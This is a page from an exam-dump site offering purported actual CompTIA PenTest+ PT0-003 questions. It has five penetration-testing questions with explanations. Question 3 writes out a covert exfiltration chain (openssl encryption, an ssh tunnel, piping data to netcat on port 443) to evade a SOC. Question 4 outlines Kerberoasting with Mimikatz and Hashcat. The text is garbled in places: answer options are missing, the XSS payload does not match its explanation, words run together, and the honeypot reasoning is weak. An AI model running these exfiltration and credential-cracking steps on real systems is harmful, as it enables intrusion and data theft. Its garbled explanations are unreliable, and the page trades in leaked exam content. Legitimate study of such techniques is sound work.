Free CompTIA PT0-003 Exam Actual Questions

The questions for PT0-003 were last updated On Apr 17, 2025

At ValidExamDumps, we consistently monitor updates to the CompTIA PT0-003 exam questions by CompTIA. Whenever our team identifies changes in the exam questions,exam objectives, exam focus areas or in exam requirements, We immediately update our exam questions for both PDF and online practice exams. This commitment ensures our customers always have access to the most current and accurate questions. By preparing with these actual questions, our customers can successfully pass the CompTIA PenTest+ Exam exam on their first attempt without needing additional materials or study guides.

Other certification materials providers often include outdated or removed questions by CompTIA in their CompTIA PT0-003 exam. These outdated questions lead to customers failing their CompTIA PenTest+ Exam exam. In contrast, we ensure our questions bank includes only precise and up-to-date questions, guaranteeing their presence in your actual exam. Our main priority is your success in the CompTIA PT0-003 exam, not profiting from selling obsolete exam questions in PDF or Online Practice Test.

 

Question No. 1

[Attacks and Exploits]

A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?

Show Answer Hide Answer
Correct Answer: C

To further enumerate users on a Windows machine using native operating system commands, the tester should use net.exe commands. The net command is a versatile tool that provides various network functionalities, including user enumeration.

net.exe:

net user: This command displays a list of user accounts on the local machine.

net user

net localgroup: This command lists all local groups, and by specifying a group name, it can list the members of that group.

net localgroup administrators

Enumerating Users:

List All Users: The net user command provides a comprehensive list of all user accounts configured on the system.

Group Memberships: The net localgroup command can be used to see which users belong to specific groups, such as administrators.

Pentest Reference:

Post-Exploitation: After gaining initial access, enumerating user accounts helps understand the structure and potential targets for privilege escalation.

Windows Commands: Leveraging built-in commands like net for enumeration ensures that no additional tools need to be uploaded to the target system, reducing the risk of detection.

Using net.exe commands, the penetration tester can effectively enumerate user accounts and group memberships on the compromised Windows machine, aiding in further exploitation and privilege escalation.


Question No. 2

[Attacks and Exploits]

During a discussion of a penetration test final report, the consultant shows the following payload used to attack a system:

html

Copy code

7/aLeRt('pwned')

Based on the code, which of the following options represents the attack executed by the tester and the associated countermeasure?

Show Answer Hide Answer
Correct Answer: D

XSS Attack

The payload exploits Cross-Site Scripting (XSS) by injecting obfuscated JavaScript into the application. When rendered, the browser executes the malicious code (e.g., alert('pwned')).

Obfuscation (<sCRitP> instead of <script>) attempts to bypass naive input filters.

Countermeasure:

Implement input sanitization to ensure all user inputs are properly validated and escaped before being processed or rendered.

Other measures include using Content Security Policies (CSP) and output encoding.

Why Not Other Options?

A: This is not arbitrary code execution; it is a browser-based attack.

B: XSS is unrelated to SQL injection.

C: Cross-Site Request Forgery (CSRF) is a different vulnerability targeting session handling, not script injection.

CompTIA Pentest+ Reference:

Domain 3.0 (Attacks and Exploits)

OWASP XSS Prevention Cheat Sheet


Question No. 3

[Attacks and Exploits]

A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?

Show Answer Hide Answer
Correct Answer: D

AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.

Encrypting Data with AES-256:

Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.

Example encryption command using OpenSSL:

Step-by-Step Explanationopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey

Setting Up a Secure Tunnel:

Use a tool like OpenSSH to create a secure tunnel over TCP port 443.

Example command to set up a tunnel:

ssh -L 443:targetserver:443 user@intermediatehost

Transferring Data Over the Tunnel:

Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.

Example Netcat command to send data:

cat encrypted.bin | nc targetserver 443

Benefits of Using AES-256 and Port 443:

Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.

Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.

Real-World Example:

During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.

Reference from Pentesting Literature:

Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.

Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.


Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

Question No. 4

[Attacks and Exploits]

During an assessment, a penetration tester runs the following command:

setspn.exe -Q /

Which of the following attacks is the penetration tester preparing for?

Show Answer Hide Answer
Correct Answer: C

Kerberoasting is an attack that involves requesting service tickets for service accounts from a Kerberos service, extracting the service tickets, and attempting to crack them offline to retrieve the plaintext passwords.

Understanding Kerberoasting:

Purpose: To obtain service account passwords by cracking the encrypted service tickets (TGS tickets) offline.

Service Principal Names (SPNs): SPNs are used in Kerberos authentication to uniquely identify a service instance.

Command Breakdown:

setspn.exe -Q /: This command queries all SPNs in the domain.

Use Case: Identifying accounts with SPNs that can be targeted for Kerberoasting.

Kerberoasting Steps:

Identify SPNs: Use setspn.exe to list service accounts with SPNs.

Request TGS Tickets: Request TGS tickets for the identified SPNs.

Extract Tickets: Use tools like Mimikatz to extract the service tickets.

Crack Tickets: Use password cracking tools like Hashcat to crack the extracted tickets offline.

Reference from Pentesting Literature:

Kerberoasting is a well-documented attack method in penetration testing guides, specifically targeting service accounts in Active Directory environments.

HTB write-ups often detail the use of Kerberoasting for gaining credentials from service accounts.

Step-by-Step ExplanationReference:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups


Question No. 5

[Information Gathering and Vulnerability Scanning]

A penetration tester conducts reconnaissance for a client's network and identifies the following system of interest:

$ nmap -A AppServer1.compita.org

Starting Nmap 7.80 (2023-01-14) on localhost (127.0.0.1) at 2023-08-04 15:32:27

Nmap scan report for AppServer1.compita.org (192.168.1.100)

Host is up (0.001s latency).

Not shown: 999 closed ports

Port State Service

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

873/tcp open rsync

8080/tcp open http-proxy

8443/tcp open https-alt

9090/tcp open zeus-admin

10000/tcp open snet-sensor-mgmt

The tester notices numerous open ports on the system of interest. Which of the following best describes this system?

Show Answer Hide Answer
Correct Answer: A

A honeypot is a decoy system designed to attract attackers by exposing multiple services and vulnerabilities.

Indicators of a honeypot (Option A):

The system has an unusual combination of Windows (SMB, MSRPC) and Linux (Rsync, SSH) services.

It exposes a large number of open ports, which is uncommon for a production server.

Presence of 'zeus-admin' (port 9090) suggests intentionally vulnerable services.


Incorrect options:

Option B (Windows endpoint): Windows would not normally run Rsync (873/tcp) or SSH (22/tcp).

Option C (Linux server): Linux servers typically don't have NetBIOS (139/tcp) or MSRPC (135/tcp).

Option D (Already-compromised system): Although possible, honeypots mimic compromised systems to lure attackers.